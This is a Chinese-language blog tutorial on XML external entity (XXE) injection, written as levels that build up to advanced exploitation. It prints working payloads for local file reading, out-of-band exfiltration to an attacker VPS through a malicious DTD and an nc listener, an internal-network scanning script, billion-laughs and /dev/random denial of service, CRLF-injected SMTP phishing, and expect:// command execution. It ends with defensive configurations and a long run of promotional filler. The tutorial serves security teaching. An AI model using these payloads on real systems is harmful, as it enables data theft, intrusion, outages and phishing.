XXE 打怪升级之路,从零基础到精通,收藏这篇就够了!

既然这篇文章说的是 xxe 的升级之旅,那么什么是 xxe 呢?

其实 xxe 也是一类注入漏洞,英文全名即 Xml External Entity Injection, 即我们所说的 xml 外部实体注入攻击。

因为实体可以通过预定义在文档中被调用,而实体的标识符又可以访问本地或者远程内容,当允许引用外部实体时,攻击者便可以构造恶意内容来达到攻击。

基础简介

可能有些人看了上面一堆名词后不知所云,什么 xxe,xml,什么外部实体,不用急,我们现在就来慢慢升级。

level 0
xml

首先要先说下 xml。xml 是一种可扩展的标记语言,主要就是用来传输数据的,你可以理解为就是一种写法类似于 html 语言的数据格式文档。但是 xml 跟 html 是为不同目的而设计的,html 旨在显示数据信息,而 xml 旨在传输数据信息。

DTD

跟 xml 格式相关的就是这个叫 dtd(document type definition )的东西了,这个 dtd 的作用就是去定义 xml 文档的合法构建模块,也就是说声明了 xml 的内容格式规范。

dtd 有两种声明方式:

1、内部 dtd:即对 XML 文档中的元素、属性和实体的 DTD 的声明都在 XML 文档中。

2、外部 dtd:即对 XML 文档中的元素、属性和实体的 DTD 的声明都在一个独立的 DTD 文件(.dtd)中。

让我们来看一下内部 dtd 的 xml 示例:

<!--XML声明-->``<?xml version="1.0" encoding="UTF-8"?>``<!--DTD,文档类型声明-->`          `<!DOCTYPE note [``<!ELEMENT note (body)>``<!ELEMENT body (#PCDATA)>``<!ENTITY writer "hello word">`        `]>``   ``<!--文档元素-->`                                                                         `<note>``<body>&writer</body>``</note>

我们就 dtd 的内容一个一个来看,

1、!DOCTYPE note (第四行)定义此文档是 note 类型的文档。

2、!ELEMENT note (第五行)定义 note 元素有一个元素:“body”

3、!ELEMENT body (第六行)定义 body 元素为 “#PCDATA” 类型

4、!ENTITY writer “hello world”(第七行)定义了一个内部实体

也就是说,这样的 dtd 就定义了 xml 的根元素是 note,然后根元素下有一个 body 子元素,而且 body 元素的类型为“#PCDATA”,这样的定义就固定了文档元素的内容格式,而后面 body 元素里的“&writer”就是对内部实体的一个引用,到输出的时候 &writer 就会被 ”hello world“ 替换,这样说来应该就能大概明白了。

上面我们说的就是一个内部实体的例子,而我们重点在于外部实体,毕竟我们要讲的就是外部实体注入,下面我们再来看一个引用外部实体的例子:

<?xml version="1.0" encoding="UTF-8"?>``<!DOCTYPE foo [``<!ELEMENT foo ANY >``<!ENTITY xxe SYSTEM "file:///c:/test.dtd" >]>``   ``<root>`  `<body>&xxe</body>``</root>

1、!ELEMENT foo ANY (第三行)定义元素为 ANY,即可以接受任何元素。

2、!ENTITY xxe SYSTEM “file:///c:/test.dtd”(第四行)定义了一个外部实体

这里样义文档就会对 c:/test.dtd 文件资源进行引用,这是一种用 SYSTEM 关键字的引用方式,还有一种用 PUBLIC 引用公用 DTD 的方式:

<!DOCTYPE 根元素名称 PUBLIC “DTD标识名” “公用DTD的URI”>

通过以上例子,我们可以理解为一个实体其实就是一个变量。

但是实际上实体不止这一种,实体有四种,而我们以上的实体是其中的一种通用实体。

这里列一下:

1、内置实体 (Built-in entities)

2、字符实体 (Character entities)

3、通用实体 (General entities)

4、参数实体 (Parameter entities)

其中内置实体和字符实体都和 html 的实体编码类似,有十进制和十六进制。

而通用实体我们已经大概了解了,就是刚才那两个例子那样的,下面我们再讲一个参数实体的 dtd 例子:

<!ENTITY % an-element "<!ELEMENT mytag (subtag)>">` `<!ENTITY % remote-dtd SYSTEM "http://somewhere.example.org/remote.dtd">` `%an-element; %remote-dtd;

通过这个 dtd 我们可以看出来区别,就是这里实体名前面有个“%”,而在通用实体中是没有的,并且只能在 dtd 中使用% 实体名,有不同也有相同的地方,和通用实体一样,参数实体也可以外部引用 dtd。所以这里的重点就是参数实体只能在 dtd 中使用,引用。

xxe的利用
level 1

前面已经大概介绍了外部实体的作用和运用,下面我们开始进入主题,那么 xxe 能干什么呢?

通过上面外部实体的例子:

<?xml version="1.0" encoding="UTF-8"?>``<!DOCTYPE foo [``<!ELEMENT foo ANY >``<!ENTITY xxe SYSTEM "file:///c:/test.dtd" >]>``   ``<root>`  `<body>&xxe</body>``</root>

有些基础的小伙伴应该马上就能想到一种漏洞利用:任意文件读取

为了呈现直观一点,我在本地搭了一个环境:

xml.php

<?php``   `    `libxml_disable_entity_loader (false);`    `$xmlfile = file_get_contents('php://input');`    `$dom = new DOMDocument();`    `$dom->loadXML($xmlfile, LIBXML_NOENT | LIBXML_DTDLOAD);``    $creds = simplexml_import_dom($dom);`    `echo $creds;``   ``?>

payloads:

<?xml version="1.0" encoding="utf-8"?>` `<!DOCTYPE creds [`  `<!ENTITY xxe SYSTEM "file:///c:/windows/system.ini"> ]>` `<creds>&xxe;</creds>

这个 payload 就是尝试去读取我本地的 c:/windows/system.ini 文件,接下来 post 试下

结果如下:

可以看到成功读取出了 system.ini 文件中的内容。

至此我们已经简单复现了 xxe 一种最简单的利用。

level 2

上面我们成功读取了 system.ini 文件中的内容,可能有的的小伙伴去复现的时候,读取其他文件的时候就有可能发现读取不了,会报错,这是什么原因呢?我们接下来再说一下这种情况。

如果会报错,原因可能就是文件中有一些特殊符号,比如说“<”,“>”,“&”等等这些符号,在引用的时候也给 xml解析器解析了,因此就会报错,从而读取失败。

来模拟一下这种场景,新建一个 test.txt

12343545423#information``<info>sslicve<for>``test <content>

内容如上,然后读取一下看看:

确实是什么都读不出来,还报了一堆错。

那这种情况怎么解决呢?

这时候就需要认识一个新名词并且会用,就是“CDATA”

也就是说,我们可以将脚本代码定义为“CDATA”,CDATA 部分中的所有内容就会被解析器忽略,也就可以继续愉快地读取文件了。

我们来试试,把 payload 修改为:

<?xml version="1.0" encoding="utf-8"?>` `<!DOCTYPE roottag [``<!ENTITY start "<![CDATA[``<!ENTITY % xxe SYSTEM "file:///d:/test.txt"> ]]>` `">]``% xxe;``>`  `   ``<roottag>&start</roottag>

这样 payload 看起来好像没什么问题,但其实拿这个 payload 去打还是一样读取不出来。

xml 解析器有个限制就是不能在内部 Entity 中引用,“PEReferences forbidden in internal subset in Entity ”指的就是禁止内部参数实体引用。

既然内部不行,那如果我把那内容换到外部呢?试试来

修改 payload:

<?xml version="1.0" encoding="utf-8"?>` `<!DOCTYPE root [``<!ENTITY % start "<![CDATA[">`   `<!ENTITY % go SYSTEM "file:///d:/test.txt">`  `<!ENTITY % end "]]>">`  `<!ENTITY % dtd SYSTEM "http://myvps/evil.dtd">` `%dtd; ]>` `   ``<root>&all;</root>

同时在我的 vps 上放一个 evil.dtd,内容为:

<!ENTITY all "%start;%go;%end;">

ok 到这里终于没再出错了。

level 3

实际上现在有回显的 xxe 已经很少了,接下来我们就来想办法在没有 xxe 回显的情况下怎么利用。

既然没有回显数据,那我们就要想办法让服务器自己把数据往外带。

其实在 level 2 中应该就能想到了,既然外部实体能够请求外部 url 资源内容,也就是说可以访问外面 url,这样的话我们可以写两个外部参数实体,第一个用来请求本地数据内容,第二个用 http 协议或者其他协议把请求到的数据作为参数带到我们的 vps,这样就实现了数据外带了。

payload:

<?xml version="1.0"?>``<!DOCTYPE message [`    `<!ENTITY % remote SYSTEM "http://myvps/xml.dtd">``    <!ENTITY % file SYSTEM "php://filter/read=convert.base64-encode/resource=file:///d:/test.txt">`    `%remote;`    `%send;``]>``<message>1234</message>

xml.dtd

<!ENTITY % start "<!ENTITY &#x25; send SYSTEM 'http://myvps:1111/?%file;'>">``%start;

同时在 vps 上开启 nc 监听 1111 端口,接受数据

ok 成功把数据带出来了,这里要补充的一点是,在 xml.dt d中,之所以要把“%”转成 html 实体编码是因为在实体的值中不能有“%”,所以也就只能转成&#x25了。

level 4

接下来也越来越好玩了,因为上面我们讲到的利用都只是任意文件读取,而 xxe 漏洞的利用远不止这些。

比如说,xxe 由于可以访问外部 url,也就有类似 ssrf 的攻击效果,同样的,也可以利用 xxe 来进行内网探测。

可以先通过 file 协议读取一些配置文件来判断内网的配置以及规模,以便于编写脚本来探测内网。

一个 python 脚本实例:

import requests``import base64``   ``#Origtional XML that the server accepts``#<xml>``#    <stuff>user</stuff>``#</xml>``   ``   ``def build_xml(string):`    `xml = """<?xml version="1.0" encoding="ISO-8859-1"?>"""`    `xml = xml + "\r\n" + """<!DOCTYPE foo [ <!ELEMENT foo ANY >"""`    `xml = xml + "\r\n" + """<!ENTITY xxe SYSTEM """ + '"' + string + '"' + """>]>"""`    `xml = xml + "\r\n" + """<xml>"""`    `xml = xml + "\r\n" + """    <stuff>&xxe;</stuff>"""`    `xml = xml + "\r\n" + """</xml>"""`    `send_xml(xml)``   ``def send_xml(xml):`    `headers = {'Content-Type': 'application/xml'}`    `x = requests.post('http://127.0.0.1/xml.php', data=xml, headers=headers, timeout=5).text`    `coded_string = x.split(' ')[-2] # a little split to get only the base64 encoded value`    `print coded_string``#   print base64.b64decode(coded_string)``for i in range(1, 255):`    `try:`        `i = str(i)`        `ip = '192.168.1.' + i`        `string = 'php://filter/convert.base64-encode/resource=http://' + ip + '/'`        `print string`        `build_xml(string)`    `except:`      `print "error"``continue

运行起来大概是这样

既然可以主机探测了,那么内网主机端口探测也是类似的思路。

level 5

除了可以内网探测,还可以 DOS 攻击。。

比如说:

<?xml version="1.0"?>``<!DOCTYPE lolz [`  `<!ENTITY lol "lol">`  `<!ENTITY lol2 "&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;">`  `<!ENTITY lol3 "&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;">`  `<!ENTITY lol4 "&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;">`  `<!ENTITY lol5 "&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;">`  `<!ENTITY lol6 "&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;">`  `<!ENTITY lol7 "&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;">`  `<!ENTITY lol8 "&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;">`  `<!ENTITY lol9 "&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;">``]>``<lolz>&lol9;</lolz>

此 payload 测试可以在内存中将小型 XML 文档扩展到超过 3GB 而使服务器崩溃。

如果目标是 UNIX 系统,

<?xml version="1.0" encoding="ISO-8859-1"?>``<!DOCTYPE foo [ ``  <!ELEMENT foo ANY >`  `<!ENTITY xxe SYSTEM "file:///dev/random" >]>``<foo>&xxe;</foo>

这段 payload 会让 xml 解析器尝试使用 /dev/random 文件中的内容来替代实体,所以这个示例会直接使 UNIX系统服务器崩溃。

level 6

还有比较好玩的玩法,当然了这个需要在特定类型的场景中运用,比如说 xxe 还可以运用于钓鱼。

(以下实例来源于 freebuf 中的一篇文章)

如果内网中有一台存在 CRLF 注入漏洞的 SMTP 服务器,我们就能利用 ftp:// 协议结合 CRLF 注入向其发送任意命令,也就是可以指定其发送任意邮件给任意人,这样就伪造了信息源,造成钓鱼 。

Java 支持在 sun.net.ftp.impl.FtpClient 中的 ftp URI,因此,我们可以指定用户名和密码,例如 ftp://user:password@host:port/test.txt,FTP 客户端将在连接中发送相应的 USER 命令。

但是如果我们将 %0D%0A (CRLF) 添加到 URL 的 user 部分的任意位置,我们就可以终止 USER 命令并向 FTP 会话中注入一个新的命令,即允许我们向 25 端口发送任意的 SMTP 命令:

ftp://a%0D%0A``EHLO%20a%0D%0A``MAIL%20FROM%3A%3Csupport%40VULNERABLESYSTEM.com%3E%0D%0A``RCPT%20TO%3A%3Cvictim%40gmail.com%3E%0D%0A``DATA%0D%0A``From%3A%20support%40VULNERABLESYSTEM.com%0A``To%3A%20victim%40gmail.com%0A``Subject%3A%20test%0A``%0A``test!%0A``%0D%0A``.%0D%0A``QUIT%0D%0A``:a@VULNERABLESYSTEM.com:25

当 FTP 客户端使用此 URL 连接时,以下命令将会被发送给 VULNERABLESYSTEM.com 上的邮件服务器:

ftp://a``EHLO a``MAIL FROM: <support@VULNERABLESYSTEM.com>``RCPT TO: <victim@gmail.com>``DATA``From: support@VULNERABLESYSTEM.com``To: victim@gmail.com``Subject: Reset your password``We need to confirm your identity. Confirm your password here: http://PHISHING_URL.com``.``QUIT``:support@VULNERABLESYSTEM.com:25

这意味着攻击者可以从从受信任的来源发送钓鱼邮件(例如:帐户重置链接)并绕过垃圾邮件过滤器的检测。除了链接之外,甚至我们也可以发送附件。

level 7

最吸引人的还是 RCE 了,那么问题来了,xxe 能 RCE 吗?

答案是可以的,不过还是那句话,在特定场景下。

由于 PHP 的 expect 并不是默认安装扩展,如果安装了这个 expect 扩展我们就能直接利用 XXE 进行 RCE 。

示例代码:

<!DOCTYPE root[<!ENTITY cmd SYSTEM "expect://id">]>``<dir>``<file>&cmd;</file>``</dir>

如何防御

方案一 使用开发语言提供的禁用外部实体的方法

PHP:

libxml_disable_entity_loader(true);

java:

DocumentBuilderFactory dbf =DocumentBuilderFactory.newInstance();``dbf.setExpandEntityReferences(false);``   ``.setFeature("http://apache.org/xml/features/disallow-doctype-decl",true);``   ``.setFeature("http://xml.org/sax/features/external-general-entities",false)``   ``.setFeature("http://xml.org/sax/features/external-parameter-entities",false);

python:

from lxml import etree``xmlData = etree.parse(xmlSource,etree.XMLParser(resolve_entities=False))

方案二 黑名单过滤关键字

当然直接过滤掉用户提交的 xml 数据中的关键词也是可以的,

比如说:SYSTEM和PUBLIC

总结

这篇文章我从简单的 xml 的基础知识开始整理,以升级的方式从 xxe 的相关基础到花式利用进行介绍,有些地方限于文章篇幅就没有再继续深入,当然了 xxe 相关利用或者技巧肯定不限于我整理的这几个方面,比如说 xxe 还可以结合 jar 协议进行上传文件,不过笔者对这方面不是很熟也就没有去复盘。文章中若有错误的地方,请各位大牛指正。

参考链接:

https://xz.aliyun.com/t/3357

https://www.freebuf.com/vuls/207639.html

https://security.tencent.com/index.php/blog/msg/69

https://www.freebuf.com/vuls/194112.html

https://www.runoob.com/xml/xml-cdata.html

http://www.mottoin.com/detail/738.html

http://www.w3cschool.cn/dtd

https://www.freebuf.com/articles/web/177979.html

https://www.freebuf.com/column/188849.html

👇👇👇

网络安全学习资源分享:

给大家分享一份全套的网络安全学习资料,给那些想学习 网络安全的小伙伴们一点帮助!

对于从来没有接触过网络安全的同学,我们帮你准备了详细的学习成长路线图。可以说是最科学最系统的学习路线,大家跟着这个大的方向学习准没问题。

因篇幅有限,仅展示部分资料,朋友们如果有需要全套《网络安全入门+进阶学习资源包》,需要点击下方链接即可前往获取

**读者福利 |** 优快云大礼包:《网络安全入门&进阶学习资源包》免费分享 **(安全链接,放心点击)**

在这里插入图片描述

👉1.成长路线图&学习规划👈

要学习一门新的技术,作为新手一定要先学习成长路线图,方向不对,努力白费。

对于从来没有接触过网络安全的同学,我们帮你准备了详细的学习成长路线图&学习规划。可以说是最科学最系统的学习路线,大家跟着这个大的方向学习准没问题。
在这里插入图片描述

在这里插入图片描述

👉2.网安入门到进阶视频教程👈

很多朋友都不喜欢晦涩的文字,我也为大家准备了视频教程,其中一共有21个章节,每个章节都是当前板块的精华浓缩。****(全套教程文末领取哈)
在这里插入图片描述

在这里插入图片描述

👉3.SRC&黑客文档👈

大家最喜欢也是最关心的SRC技术文籍&黑客技术也有收录

SRC技术文籍:

在这里插入图片描述

黑客资料由于是敏感资源,这里不能直接展示哦!****(全套教程文末领取哈)

👉4.护网行动资料👈

其中关于HW护网行动,也准备了对应的资料,这些内容可相当于比赛的金手指!

在这里插入图片描述

👉5.黑客必读书单👈

在这里插入图片描述

👉6.网络安全岗面试题合集👈

当你自学到这里,你就要开始思考找工作的事情了,而工作绕不开的就是真题和面试题。
在这里插入图片描述
所有资料共282G,朋友们如果有需要全套《网络安全入门+进阶学习资源包》,可以扫描下方二维码或链接免费领取~

**读者福利 |** 优快云大礼包:《网络安全入门&进阶学习资源包》免费分享 **(安全链接,放心点击)**

在这里插入图片描述

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

程序员一粟

你的鼓励将是我创作的最大动力

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付:¥1
获取中
扫码支付

您的余额不足,请更换扫码支付或充值

打赏作者

实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值